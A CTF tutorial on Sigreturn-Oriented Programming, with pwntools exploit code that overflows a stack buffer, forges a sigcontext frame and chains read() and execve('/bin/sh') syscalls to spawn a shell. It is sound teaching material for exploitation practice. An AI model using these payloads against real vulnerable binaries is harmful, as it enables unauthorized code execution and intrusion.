SROP - Sigreturn-Oriented Programming
Use sigreturn to set arbitrary register values with minimal ROP gadgets in CTF pwn challenges.
SROP - Sigreturn-Oriented Programming
Sometimes you have a stack overflow but the binary is tiny and has almost no ROP gadgets. No pop rdi; ret, no pop rsi; ret, nothing useful. SROP solves this by using the sigreturn syscall — which sets every CPU register at once from data on the stack. You only need two gadgets: syscall; ret and a way to set rax = 15.
How Sigreturn Works
When Linux delivers a signal (like SIGSEGV), the kernel pushes a sigcontext frame onto the stack. This frame contains the saved values of every register — RIP, RSP, RDI, RSI, RAX, everything. When the signal handler returns, it calls sigreturn (syscall 15), which pops that frame and restores all registers.
The trick: if you place a fake sigcontext frame on the stack and trigger sigreturn, the kernel restores your crafted values into every register. One syscall, full register control.
Fake sigcontext on stack:
┌─────────────────────┐
│ rax = 59 │ (execve)
│ rdi = &"/bin/sh" │ (filename)
│ rsi = 0 │ (argv = NULL)
│ rdx = 0 │ (envp = NULL)
│ rip = syscall;ret │ (what to do after restore)
│ ... all registers │
└─────────────────────┘
Trigger sigreturn → kernel loads all these into registers
→ jumps to rip → syscall → execve("/bin/sh")Requirements
syscall; retgadget (orsyscall+retseparately)- A way to set
rax = 15(sigreturn syscall number):pop rax; ret,mov rax, 15; ret, or a function that returns 15
You don't need any other gadgets. That's the whole point.
pwntools SigreturnFrame
pwntools handles the sigcontext layout for you:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# Find your two gadgets
syscall_ret = 0x401234 # syscall; ret
pop_rax_ret = 0x401200 # pop rax; ret
# Build the fake frame
frame = SigreturnFrame()
frame.rax = 59 # execve syscall number
frame.rdi = 0x602000 # pointer to "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall_ret # after sigreturn restores registers, jump here
frame.rsp = 0x602100 # optional: set new stack pointer
# Build payload
offset = 72
payload = b'A' * offset
payload += p64(pop_rax_ret) # set rax = 15
payload += p64(15)
payload += p64(syscall_ret) # trigger sigreturn
payload += bytes(frame) # fake sigcontext frameAfter sigreturn executes, the kernel loads all the values from frame into the CPU registers, then jumps to frame.rip — which is syscall; ret. Since frame.rax = 59 (execve), the syscall instruction calls execve("/bin/sh", NULL, NULL).
Writing "/bin/sh" to Memory
SROP can set rdi to any address, but you need "/bin/sh" to actually exist at that address. If it's not already in the binary or libc (check with ROPgadget --binary ./vuln --string "/bin/sh"), use a two-stage approach:
Stage 1: Use SROP to call read() and write "/bin/sh" to a known writable address:
binsh_addr = 0x602000 # writable .bss address
# Frame 1: read(0, binsh_addr, 8) — read "/bin/sh" from stdin
frame_read = SigreturnFrame()
frame_read.rax = 0 # read syscall
frame_read.rdi = 0 # stdin
frame_read.rsi = binsh_addr # write here
frame_read.rdx = 8 # 8 bytes
frame_read.rip = syscall_ret
payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15)
payload += p64(syscall_ret)
payload += bytes(frame_read)
p.sendline(payload)
p.send(b'/bin/sh\x00') # stage 2: read() writes this to binsh_addrStage 2: Build the execve frame using binsh_addr as the filename.
When to Use SROP
| Scenario | Technique |
|---|---|
| Normal gadgets available | Standard ROP (pop rdi, etc.) |
No pop rdx/pop rsi | ret2csu (see ret2libc) |
Very few gadgets (only syscall; ret) | SROP |
| Tiny binary, no gadgets at all | SROP (you just need syscall; ret) |
SROP is the best technique when the binary is very small (e.g., a 200-byte custom binary) and has almost no gadgets. Only syscall; ret is strictly required.
Minimal SROP Example
If your buffer is very limited (just enough for the frame), use a compact way to set rax = 15:
# Instead of pop_rax_ret (8 bytes), find:
# mov al, 15; ret (3 bytes — much smaller)
# xor rax, rax; mov al, 15; ret (if zeroing first)
mov_al_15 = 0x401235 # find with ROPgadget
payload = b'A' * offset
payload += p64(mov_al_15) # rax = 15
payload += p64(syscall_ret) # sigreturn
payload += bytes(frame) # fake frameChecklist
- Limited gadgets? → SROP is often simpler than building a full ROP chain
- Find:
syscall; retgadget - Find: way to set
rax = 15(pop rax; ret,mov rax, 15; ret,mov al, 15; ret) - Build
SigreturnFrame()with desired register values - Set
frame.riptosyscall; ret— this is what executes after registers are restored - Is
"/bin/sh"already in memory? If not, use aread()frame first to write it - pwntools
SigreturnFramehandles all the layout automatically
Last updated on